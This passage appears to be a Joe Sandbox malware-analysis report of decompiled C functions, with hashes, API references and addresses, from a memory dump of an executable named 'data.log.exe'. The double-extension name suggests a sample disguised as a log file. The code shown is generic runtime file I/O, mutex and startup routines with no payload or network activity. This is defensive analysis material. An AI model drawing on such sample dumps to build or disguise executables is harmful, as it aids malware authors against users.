Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CriticalFramesInitializeNestedSectionUnwind
String ID: csm$csm$csm
API String ID: 2222982843-393685449
Opcode ID: f8d0221a863a9c3d252f499c3a2298210c03ea9c143766436cdbc517756ab873
Instruction ID: add05c8d7f798afa013c49b0fb834aa7df11b4dc450b91aac3d43e6a9b31cfda
Opcode Fuzzy Hash: f8d0221a863a9c3d252f499c3a2298210c03ea9c143766436cdbc517756ab873
Instruction Fuzzy Hash: 3B719F35B00229DFCF14DF95E881AAE7BB5FF04314F96409BE810AB251C739D951CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004294AE, Relevance: 6.2, APIs: 4, Instructions: 169
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004294AE(signed int _a4, signed int _a8, long _a12) {
				void _v5;
				signed int _v12;
				long _v16;
				signed int _t79;
				void* _t82;
				signed int _t86;
				signed int* _t90;
				long _t91;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				intOrPtr _t99;
				char _t101;
				signed int _t102;
				long _t105;
				void* _t106;
				long _t108;
				signed int _t109;
				signed int _t115;
				signed int _t116;
				signed char _t119;
				intOrPtr _t120;
				long _t122;
				void* _t126;
				intOrPtr* _t127;
				signed int _t129;
				signed char* _t130;
				void* _t131;
				void* _t132;

				_v12 = _v12 & 0x00000000;
				_t115 = _a8;
				_t126 = _t115;
				if(_a12 == 0) {
					L42:
					__eflags = 0;
					return 0;
				}
				_t79 = _a4;
				_t127 = 0x432760 + (_t79 >> 5) * 4;
				_t129 = (_t79 & 0x0000001f) + (_t79 & 0x0000001f) * 8 << 2;
				_t82 =  *_t127 + _t129;
				_t119 =  *((intOrPtr*)(_t82 + 4));
				if((_t119 & 0x00000002) != 0) {
					goto L42;
				}
				if((_t119 & 0x00000048) != 0 &&  *((char*)(_t82 + 5)) != 0xa) {
					_a12 = _a12 - 1;
					 *_t115 =  *((intOrPtr*)( *_t127 + _t129 + 5));
					_t20 = _t115 + 1; // 0x1
					_t126 = _t20;
					_v12 = 1;
					 *((char*)( *_t127 + _t129 + 5)) = 0xa;
				}
				if(ReadFile( *( *_t127 + _t129), _t126, _a12,  &_v16, 0) != 0) {
					_t86 = _v16;
					_t120 =  *_t127;
					_v12 = _v12 + _t86;
					__eflags =  *(_t120 + _t129 + 4) & 0x00000080;
					if(( *(_t120 + _t129 + 4) & 0x00000080) == 0) {
						L41:
						return _v12;
					}
					__eflags = _t86;
					if(_t86 == 0) {
						L15:
						_t90 =  *_t127 + _t129 + 4;
						 *_t90 =  *_t90 & 0x000000fb;
						__eflags =  *_t90;
						L16:
						_t91 = _a8;
						_t122 = _v12 + _t91;
						__eflags = _t91 - _t122;
						_a12 = _t91;
						_v12 = _t122;
						if(_t91 >= _t122) {
							L40:
							_t116 = _t115 - _a8;
							__eflags = _t116;
							_v12 = _t116;
							goto L41;
						} else {
							goto L17;
						}
						while(1) {
							L17:
							_t93 =  *_a12;
							__eflags = _t93 - 0x1a;
							if(_t93 == 0x1a) {
								break;
							}
							__eflags = _t93 - 0xd;
							if(_t93 == 0xd) {
								__eflags = _a12 - _t122 - 1;
								if(_a12 >= _t122 - 1) {
									_a12 = _a12 + 1;
									_t98 = ReadFile( *( *_t127 + _t129),  &_v5, 1,  &_v16, 0);
									__eflags = _t98;
									if(_t98 != 0) {
										L26:
										__eflags = _v16;
										if(_v16 == 0) {
											L34:
											 *_t115 = 0xd;
											L35:
											_t115 = _t115 + 1;
											__eflags = _t115;
											L36:
											_t122 = _v12;
											__eflags = _a12 - _t122;
											if(_a12 < _t122) {
												continue;
											}
											goto L40;
										}
										_t99 =  *_t127;
										__eflags =  *(_t99 + _t129 + 4) & 0x00000048;
										if(( *(_t99 + _t129 + 4) & 0x00000048) == 0) {
											__eflags = _t115 - _a8;
											if(__eflags != 0) {
												L33:
												E0042BB80(__eflags, _a4, 0xffffffff, 1);
												_t132 = _t132 + 0xc;
												__eflags = _v5 - 0xa;
												if(_v5 == 0xa) {
													goto L36;
												}
												goto L34;
											}
											__eflags = _v5 - 0xa;
											if(__eflags != 0) {
												goto L33;
											}
											L32:
											 *_t115 = 0xa;
											goto L35;
										}
										_t101 = _v5;
										__eflags = _t101 - 0xa;
										if(_t101 == 0xa) {
											goto L32;
										}
										 *_t115 = 0xd;
										 *((char*)( *_t127 + _t129 + 5)) = _t101;
										goto L35;
									}
									_t102 = GetLastError();
									__eflags = _t102;
									if(_t102 != 0) {
										goto L34;
									}
									goto L26;
								}
								_t105 = _a12 + 1;
								__eflags =  *_t105 - 0xa;
								if( *_t105 != 0xa) {
									_a12 = _t105;
									goto L34;
								}
								_a12 = _a12 + 2;
								goto L32;
							}
							 *_t115 = _t93;
							_t115 = _t115 + 1;
							_a12 = _a12 + 1;
							goto L36;
						}
						_t94 =  *_t127;
						__eflags =  *(_t94 + _t129 + 4) & 0x00000040;
						if(( *(_t94 + _t129 + 4) & 0x00000040) == 0) {
							_t130 = _t94 + _t129 + 4;
							 *_t130 =  *_t130 | 0x00000002;
							__eflags =  *_t130;
						}
						goto L40;
					}
					__eflags =  *_t115 - 0xa;
					if( *_t115 != 0xa) {
						goto L15;
					}
					_t106 = _t120;
					 *(_t106 + _t129 + 4) =  *(_t106 + _t129 + 4) | 0x00000004;
					goto L16;
				} else {
					_t108 = GetLastError();
					_t131 = 5;
					if(_t108 != _t131) {
						__eflags = _t108 - 0x6d;
						if(_t108 == 0x6d) {
							goto L42;
						}
						_t109 = E00429D73(_t108);
						L10:
						return _t109 | 0xffffffff;
					}
					 *((intOrPtr*)(E00429D61())) = 9;
					_t109 = E00429D6A();
					 *_t109 = _t131;
					goto L10;
				}
			}

0x004294b4
0x004294bd
0x004294c3
0x004294c4
0x00429682
0x00429682
0x00000000
0x00429682
0x004294ca
0x004294d8
0x004294e1
0x004294e4
0x004294e6
0x004294ec
0x00000000
0x00000000
0x004294f5
0x00429503
0x00429506
0x0042950a
0x0042950a
0x0042950d
0x00429514
0x00429514
0x00429530
0x0042956b
0x0042956e
0x00429570
0x00429573
0x00429578
0x0042967d
0x00000000
0x0042967d
0x0042957e
0x00429580
0x00429592
0x00429594
0x00429598
0x00429598
0x0042959b
0x0042959b
0x004295a1
0x004295a3
0x004295a5
0x004295a8
0x004295ab
0x00429677
0x00429677
0x00429677
0x0042967a
0x00000000
0x00000000
0x00000000
0x00000000
0x004295b1
0x004295b1
0x004295b4
0x004295b6
0x004295b8
0x00000000
0x00000000
0x004295be
0x004295c0
0x004295ce
0x004295d1
0x004295e7
0x004295fb
0x00429601
0x00429603
0x0042960f
0x0042960f
0x00429613
0x00429655
0x00429655
0x00429658
0x00429658
0x00429658
0x00429659
0x00429659
0x0042965c
0x0042965f
0x00000000
0x00000000
0x00000000
0x00429665
0x00429615
0x00429617
0x0042961c
0x00429630
0x00429633
0x00429640
0x00429647
0x0042964c
0x0042964f
0x00429653
0x00000000
0x00000000
0x00000000
0x00429653
0x00429635
0x00429639
0x00000000
0x00000000
0x0042963b
0x0042963b
0x00000000
0x0042963b
0x0042961e
0x00429621
0x00429623
0x00000000
0x00000000
0x00429625
0x0042962a
0x00000000
0x0042962a
0x00429605
0x0042960b
0x0042960d
0x00000000
0x00000000
0x00000000
0x0042960d
0x004295d6
0x004295d7
0x004295da
0x004295e2
0x00000000
0x004295e2
0x004295dc
0x00000000
0x004295dc
0x004295c2
0x004295c4
0x004295c5
0x00000000
0x004295c5
0x00429667
0x00429669
0x0042966e
0x00429670
0x00429674
0x00429674
0x00429674
0x00000000
0x0042966e
0x00429582
0x00429585
0x00000000
0x00000000
0x00429588
0x0042958d
0x00000000
0x00429532
0x00429532
0x0042953a
0x0042953d
0x00429553
0x00429556
0x00000000
0x00000000
0x0042955d
0x00429563
0x00000000
0x00429563
0x00429544
0x0042954a
0x0042954f
0x00000000
0x0042954f

APIs

ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 00429528
GetLastError.KERNEL32 ref: 00429532
ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004295FB
GetLastError.KERNEL32 ref: 00429605

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 9016137783fc180b09f6cd20a2a3f5540f8aff117e8f9660f18d65d2d30337a4
Instruction ID: 1e44faae56cd4d84bfbc361f0beef324e21603241a714d8da936a743322a7426
Opcode Fuzzy Hash: 9016137783fc180b09f6cd20a2a3f5540f8aff117e8f9660f18d65d2d30337a4
Instruction Fuzzy Hash: 5061E6317043A59FDF218F58E884B9A7BE0BF11308F94449BE4558B291C378CD46CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC9F, Relevance: 6.1, APIs: 4, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042BC9F(void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t68;
				void** _t73;
				signed int _t74;
				long _t77;
				intOrPtr _t80;
				signed int _t82;
				char* _t87;
				int _t92;
				long _t94;
				intOrPtr* _t101;
				void* _t103;
				signed int _t108;
				char _t111;
				struct _OVERLAPPED* _t113;
				long _t116;
				signed int _t119;
				struct _OVERLAPPED* _t121;
				void* _t122;
				void* _t124;

				_t122 = _t124 - 0x3a0;
				_t68 =  *0x4310d8; // 0xd0c2a9a8
				_t113 = 0;
				 *((intOrPtr*)(_t122 + 0x39c)) = _t68;
				 *(_t122 - 0x78) = 0;
				 *((intOrPtr*)(_t122 - 0x7c)) = 0;
				if( *(_t122 + 0x3b0) != 0) {
					_t101 = 0x432760 + ( *(_t122 + 0x3a8) >> 5) * 4;
					_t119 = ( *(_t122 + 0x3a8) & 0x0000001f) + ( *(_t122 + 0x3a8) & 0x0000001f) * 8 << 2;
					__eflags =  *( *_t101 + _t119 + 4) & 0x00000020;
					if(__eflags != 0) {
						E0042CCFE(_t103, __eflags,  *(_t122 + 0x3a8), 0, 0, 2);
					}
					_t73 =  *_t101 + _t119;
					__eflags = _t73[1] & 0x00000080;
					if((_t73[1] & 0x00000080) == 0) {
						_t74 = WriteFile( *_t73,  *(_t122 + 0x3ac),  *(_t122 + 0x3b0), _t122 - 0x80, _t113);
						__eflags = _t74;
						if(_t74 == 0) {
							 *(_t122 - 0x6c) = GetLastError();
						} else {
							 *(_t122 - 0x6c) = _t113;
							 *(_t122 - 0x78) =  *(_t122 - 0x80);
						}
					} else {
						__eflags =  *(_t122 + 0x3b0) - _t113;
						 *(_t122 - 0x74) =  *(_t122 + 0x3ac);
						 *(_t122 - 0x6c) = _t113;
						if( *(_t122 + 0x3b0) <= _t113) {
							L25:
							_t80 =  *_t101;
							__eflags =  *(_t80 + _t119 + 4) & 0x00000040;
							if(( *(_t80 + _t119 + 4) & 0x00000040) == 0) {
								L28:
								 *((intOrPtr*)(E00429D61())) = 0x1c;
								_t82 = E00429D6A();
								 *_t82 = _t113;
								L29:
								_t78 = _t82 | 0xffffffff;
								L31:
								goto L32;
							}
							__eflags =  *( *(_t122 + 0x3ac)) - 0x1a;
							if( *( *(_t122 + 0x3ac)) != 0x1a) {
								goto L28;
							}
							_t78 = 0;
							goto L31;
						} else {
							goto L6;
						}
						do {
							L6:
							_t108 =  *(_t122 - 0x74) -  *(_t122 + 0x3ac);
							__eflags = _t108;
							_t87 = _t122 - 0x68;
							 *(_t122 - 0x70) = _t113;
							do {
								__eflags = _t108 -  *(_t122 + 0x3b0);
								if(_t108 >=  *(_t122 + 0x3b0)) {
									break;
								}
								 *(_t122 - 0x74) =  *(_t122 - 0x74) + 1;
								_t111 =  *( *(_t122 - 0x74));
								_t108 = _t108 + 1;
								__eflags = _t111 - 0xa;
								if(_t111 == 0xa) {
									 *((intOrPtr*)(_t122 - 0x7c)) =  *((intOrPtr*)(_t122 - 0x7c)) + 1;
									 *_t87 = 0xd;
									_t87 = _t87 + 1;
									_t34 = _t122 - 0x70;
									 *_t34 =  &( *(_t122 - 0x70)->Internal);
									__eflags =  *_t34;
								}
								 *_t87 = _t111;
								_t87 = _t87 + 1;
								 *(_t122 - 0x70) =  &( *(_t122 - 0x70)->Internal);
								__eflags =  *(_t122 - 0x70) - 0x400;
							} while ( *(_t122 - 0x70) < 0x400);
							_t116 = _t87 - _t122 - 0x68;
							_t92 = WriteFile( *( *_t101 + _t119), _t122 - 0x68, _t116, _t122 - 0x80, 0);
							__eflags = _t92;
							if(_t92 == 0) {
								 *(_t122 - 0x6c) = GetLastError();
								L16:
								_t113 = 0;
								__eflags = 0;
								L17:
								_t77 =  *(_t122 - 0x78);
								__eflags = _t77 - _t113;
								if(_t77 != _t113) {
									_t78 = _t77 -  *((intOrPtr*)(_t122 - 0x7c));
									__eflags = _t77 -  *((intOrPtr*)(_t122 - 0x7c));
									goto L31;
								}
								__eflags =  *(_t122 - 0x6c) - _t113;
								if( *(_t122 - 0x6c) == _t113) {
									goto L25;
								}
								_t121 = 5;
								__eflags =  *(_t122 - 0x6c) - _t121;
								if( *(_t122 - 0x6c) != _t121) {
									_t82 = E00429D73( *(_t122 - 0x6c));
								} else {
									 *((intOrPtr*)(E00429D61())) = 9;
									_t82 = E00429D6A();
									 *_t82 = _t121;
								}
								goto L29;
							}
							_t94 =  *(_t122 - 0x80);
							 *(_t122 - 0x78) =  *(_t122 - 0x78) + _t94;
							__eflags = _t94 - _t116;
							if(_t94 < _t116) {
								goto L16;
							}
							_t113 = 0;
							__eflags =  *(_t122 - 0x74) -  *(_t122 + 0x3ac) -  *(_t122 + 0x3b0);
						} while ( *(_t122 - 0x74) -  *(_t122 + 0x3ac) <  *(_t122 + 0x3b0));
					}
					goto L17;
				} else {
					_t78 = 0;
					L32:
					return E00424873(_t78,  *((intOrPtr*)(_t122 + 0x39c)));
				}
			}

0x0042bca0
0x0042bcad
0x0042bcb3
0x0042bcbb
0x0042bcc1
0x0042bcc4
0x0042bcc7
0x0042bce7
0x0042bcf0
0x0042bcf3
0x0042bcf8
0x0042bd04
0x0042bd09
0x0042bd0e
0x0042bd10
0x0042bd14
0x0042bdfa
0x0042be00
0x0042be02
0x0042be15
0x0042be04
0x0042be07
0x0042be0a
0x0042be0a
0x0042bd1a
0x0042bd1a
0x0042bd26
0x0042bd29
0x0042bd2c
0x0042be25
0x0042be25
0x0042be27
0x0042be2c
0x0042be3d
0x0042be42
0x0042be48
0x0042be4d
0x0042be4f
0x0042be4f
0x0042be57
0x00000000
0x0042be58
0x0042be34
0x0042be37
0x00000000
0x00000000
0x0042be39
0x00000000
0x00000000
0x00000000
0x00000000
0x0042bd32
0x0042bd32
0x0042bd35
0x0042bd35
0x0042bd3b
0x0042bd3e
0x0042bd41
0x0042bd41
0x0042bd47
0x00000000
0x00000000
0x0042bd4c
0x0042bd4f
0x0042bd51
0x0042bd52
0x0042bd55
0x0042bd57
0x0042bd5a
0x0042bd5d
0x0042bd5e
0x0042bd5e
0x0042bd5e
0x0042bd5e
0x0042bd61
0x0042bd63
0x0042bd64
0x0042bd67
0x0042bd67
0x0042bd75
0x0042bd87
0x0042bd8d
0x0042bd8f
0x0042bdb6
0x0042bdb9
0x0042bdb9
0x0042bdb9
0x0042bdbb
0x0042bdbb
0x0042bdbe
0x0042bdc0
0x0042be54
0x0042be54
0x00000000
0x0042be54
0x0042bdc6
0x0042bdc9
0x00000000
0x00000000
0x0042bdcd
0x0042bdce
0x0042bdd1
0x0042be1d
0x0042bdd3
0x0042bdd8
0x0042bdde
0x0042bde3
0x0042bde3
0x00000000
0x0042bdd1
0x0042bd91
0x0042bd94
0x0042bd97
0x0042bd99
0x00000000
0x00000000
0x0042bda4
0x0042bda6
0x0042bda6
0x0042bdae
0x00000000
0x0042bcc9
0x0042bcc9
0x0042be59
0x0042be6c
0x0042be6c

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000040,?,?), ref: 0042BD87

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 69e0fd0ef29f6c1f12acd5614ee52dad90754d34daaf441022511cd6fa39cdd1
Instruction ID: 3b6b88e0a70884062311194fdb6498273cdd1fab4cf5afd5024c4f61661e6faf
Opcode Fuzzy Hash: 69e0fd0ef29f6c1f12acd5614ee52dad90754d34daaf441022511cd6fa39cdd1
Instruction Fuzzy Hash: A451AE31A10268CFCB32DFA9EC80AEDBBB8FF45304FA1011AE9599B252D7344A01CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B213, Relevance: 6.1, APIs: 4, Instructions: 125
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040B213() {
				void* _t59;
				void* _t63;
				intOrPtr* _t67;
				void* _t79;
				void* _t93;
				void* _t101;
				long _t108;
				intOrPtr _t109;
				void* _t110;
				intOrPtr _t114;
				void* _t115;
				void* _t117;

				while(1) {
					 *(_t115 - 4) = 0xffffffff;
					if(_t114 != 0) {
						E00402A90(_t115 - 0x34);
						_t109 =  *((intOrPtr*)(_t115 - 0x40));
						_t110 = _t109 + 4;
						 *(_t115 - 4) = 2;
						_t67 = E00407C10(_t115 - 0x54, _t115 - 0x70);
						 *(_t115 - 4) = 0xffffffff;
						E004023D0(_t115 - 0x70);
						if(( *(_t109 + 8) & 0xffffff00 |  *_t67 !=  *(_t109 + 8)) == 0) {
							_push(_t115 - 0x34);
							E00407D30(_t114);
							 *(_t114 + 0x38) =  *(_t115 - 0x4c);
							 *((intOrPtr*)(_t114 + 0x3c)) =  *((intOrPtr*)(_t115 - 0x50));
							_push(_t114);
							_t93 = _t110;
							 *(_t114 + 0x40) =  *(_t115 - 0x48);
							 *((intOrPtr*)(E0040B030(_t93))) = _t114;
							if(( *(_t114 + 0x38) & 0x00000001) != 0) {
								E004085E0( *((intOrPtr*)(_t115 - 0x40)) + 0x10, _t115 - 0x38);
							}
							if(( *(_t114 + 0x38) & 0x00000004) != 0) {
								E004085E0( *((intOrPtr*)(_t115 - 0x40)) + 0x1c, _t115 - 0x38);
							}
							if(( *(_t114 + 0x38) & 0x00000008) != 0) {
								E004085E0( *((intOrPtr*)(_t115 - 0x40)) + 0x28, _t115 - 0x38);
							}
						}
						_t79 =  *(_t115 - 0x44);
					}
					 *((intOrPtr*)(_t115 - 0x50)) = SetFilePointer(_t79, 0, 0, 1);
					if(ReadFile(_t79, _t115 - 0x34, 0x20, _t115 - 0x3c, 0) == 0 ||  *(_t115 - 0x3c) != 0x20) {
						break;
					}
					_push(0);
					_push(_t115 - 0x3c);
					_t108 = 4;
					if(ReadFile(_t79, _t115 - 0x4c, _t108, ??, ??) == 0 ||  *(_t115 - 0x3c) != _t108 || ReadFile(_t79, _t115 - 0x48, _t108, _t115 - 0x3c, 0) == 0 ||  *(_t115 - 0x3c) != _t108) {
						break;
					} else {
						 *(_t115 - 4) = 0;
						_t63 = E004246FE(0x44);
						_t117 = _t117 + 4;
						if(_t63 == 0) {
							_t114 = 0;
							 *((intOrPtr*)(_t115 - 0x38)) = 0;
						} else {
							_t101 = _t63;
							_t114 = E004078F0(_t101);
							 *((intOrPtr*)(_t115 - 0x38)) = _t114;
						}
						continue;
					}
				}
				CloseHandle(_t79);
				 *[fs:0x0] =  *((intOrPtr*)(_t115 - 0xc));
				_t59 = E00424873(0,  *((intOrPtr*)(_t115 - 0x14)));
				_push(_t115);
				return _t59;
			}

0x0040b219
0x0040b21b
0x0040b222
0x0040b22f
0x0040b234
0x0040b241
0x0040b247
0x0040b24e
0x0040b25b
0x0040b262
0x0040b269
0x0040b272
0x0040b275
0x0040b280
0x0040b283
0x0040b289
0x0040b28b
0x0040b28c
0x0040b294
0x0040b29a
0x0040b2a6
0x0040b2a6
0x0040b2af
0x0040b2bb
0x0040b2bb
0x0040b2c4
0x0040b2d4
0x0040b2d4
0x0040b2c4
0x0040b159
0x0040b159
0x0040b175
0x0040b187
0x00000000
0x00000000
0x0040b197
0x0040b19c
0x0040b1a1
0x0040b1ac
0x00000000
0x0040b1da
0x0040b1dc
0x0040b1e3
0x0040b1e8
0x0040b1ed
0x0040b1ff
0x0040b201
0x0040b1ef
0x0040b1f0
0x0040b1f6
0x0040b1f8
0x0040b1f8
0x00000000
0x0040b1ed
0x0040b1ac
0x0040b2df
0x0040b2e8
0x0040b2f4
0x0040b2fc
0x0040b2ff

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
CloseHandle.KERNEL32(00000000), ref: 0040B2DF

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$Read$CloseHandlePointer
String ID:
API String ID: 3430714371-0
Opcode ID: 29417d8e576935c7f7c7ae0d4afbedd56ec31da162ca0d5c93daea10ef93595b
Instruction ID: 2d88172c0ae3ee174ebc17ccd7629adc6286d4e1295170e0f99941d9e38453a3
Opcode Fuzzy Hash: 29417d8e576935c7f7c7ae0d4afbedd56ec31da162ca0d5c93daea10ef93595b
Instruction Fuzzy Hash: 0041AD71900208EBDB24DB91DD84BDEB778FF44310F10412EE901772D1EB786945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004074A0, Relevance: 6.0, APIs: 4, Instructions: 41
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004074A0(void* __ecx, intOrPtr _a4) {
				intOrPtr _t12;
				void* _t14;
				void* _t15;
				void* _t20;
				intOrPtr _t25;
				void* _t28;

				_t28 = __ecx;
				_t25 = 0;
				WaitForSingleObject( *(__ecx + 0x34), 0xffffffff);
				_t12 = _a4;
				if(_t12 == 0) {
					_t25 =  *((intOrPtr*)(_t28 + 0x18));
					goto L6;
				} else {
					_t15 = _t12 - 2;
					if(_t15 == 0) {
						ReleaseMutex( *(_t28 + 0x34));
						return  *((intOrPtr*)(_t28 + 0x24));
					} else {
						if(_t15 != 1) {
							L6:
							ReleaseMutex( *(_t28 + 0x34));
							_t14 = _t25;
							return _t14;
						} else {
							ReleaseMutex( *(_t28 + 0x34));
							_t20 =  *((intOrPtr*)(_t28 + 0x30));
							return _t20;
						}
					}
				}
			}

0x004074a2
0x004074aa
0x004074ac
0x004074b6
0x004074b8
0x004074ea
0x00000000
0x004074ba
0x004074ba
0x004074bd
0x004074dd
0x004074e7
0x004074bf
0x004074c0
0x004074ed
0x004074f1
0x004074f8
0x004074fb
0x004074c2
0x004074c9
0x004074d0
0x004074d3
0x004074d3
0x004074c0
0x004074bd

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 4d26c52dfca9ecbff6a25c286e0a3a22cafad27d643aea7b171e4dfee76c82f3
Instruction ID: 03ee0ae049927b7797171a7e6e9e5ccef10dd276e7f03728b18f1bde50228aee
Opcode Fuzzy Hash: 4d26c52dfca9ecbff6a25c286e0a3a22cafad27d643aea7b171e4dfee76c82f3
Instruction Fuzzy Hash: 13F0AF773085009B8234DB6AEA088A7B7A5FBD97313454A3AF242C3B40C631F806CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0042A987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0042A987() {
				signed int _v8;
				char _v12;
				void* __ecx;
				void* __esi;
				char* _t10;
				signed int _t16;
				void* _t18;
				signed int _t22;
				void* _t25;
				intOrPtr _t34;

				_push(_t27);
				if( *0x433890 == 0) {
					E0042B499();
				}
				 *0x432374 = 0;
				GetModuleFileNameA(0, 0x432270, 0x104);
				_t10 =  *0x4338bc;
				 *0x432244 = 0x432270;
				if(_t10 == 0) {
					L4:
					_t25 = 0x432270;
				} else {
					_t25 = _t10;
					if( *_t10 == 0) {
						goto L4;
					}
				}
				E0042A81B(_t25, 0,  &_v12, 0,  &_v8);
				_t40 = _v8 << 2;
				_t16 = E004263B4(_v12 + (_v8 << 2));
				_t34 = _t16;
				if(_t34 != 0) {
					_push( &_v8);
					_push(_t34);
					_t18 = _t25;
					E0042A81B(_t18, _t40 + _t34,  &_v12);
					 *0x432228 = _v8 - 1;
					 *0x43222c = _t34;
					_t22 = 0;
				} else {
					_t22 = _t16 | 0xffffffff;
				}
				return _t22;
			}

0x0042a98b
0x0042a997
0x0042a999
0x0042a999
0x0042a9aa
0x0042a9b1
0x0042a9b7
0x0042a9be
0x0042a9c4
0x0042a9cd
0x0042a9ce
0x0042a9c6
0x0042a9ca
0x0042a9cb
0x00000000
0x00000000
0x0042a9cb
0x0042a9db
0x0042a9e6
0x0042a9ec
0x0042a9f2
0x0042a9f8
0x0042aa02
0x0042aa06
0x0042aa0b
0x0042aa0c
0x0042aa16
0x0042aa1c
0x0042aa22
0x0042a9fa
0x0042a9fa
0x0042a9fa
0x0042aa28

APIs

___initmbctable.LIBCMT ref: 0042A999
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\data.log.exe,00000104,73B74DE0,?,?,?,?,?,00425EB0,?,0042E598,00000060), ref: 0042A9B1

Strings

C:\Users\user\Desktop\data.log.exe, xrefs: 0042A9A3, 0042A9A8, 0042A9CD, 0042AA0A

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
